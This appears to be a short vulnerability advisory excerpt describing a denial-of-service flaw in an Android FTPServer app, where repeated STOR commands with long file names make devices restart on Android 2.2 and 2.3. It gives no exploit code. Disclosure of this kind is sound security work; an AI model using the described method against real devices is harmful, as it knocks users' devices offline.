##### Vulnerability #####

FTPServer is vulnerable to a DoS condition when long file names are
repeatedly attempted to be written via the STOR command.

Successful exploitation will causes devices to restart.

Android Security Team has confirmed this issue.

I have been able to test this exploit against Android 2.2 and 2.3.
4.0 (ICS) appears not to be vulnerable.
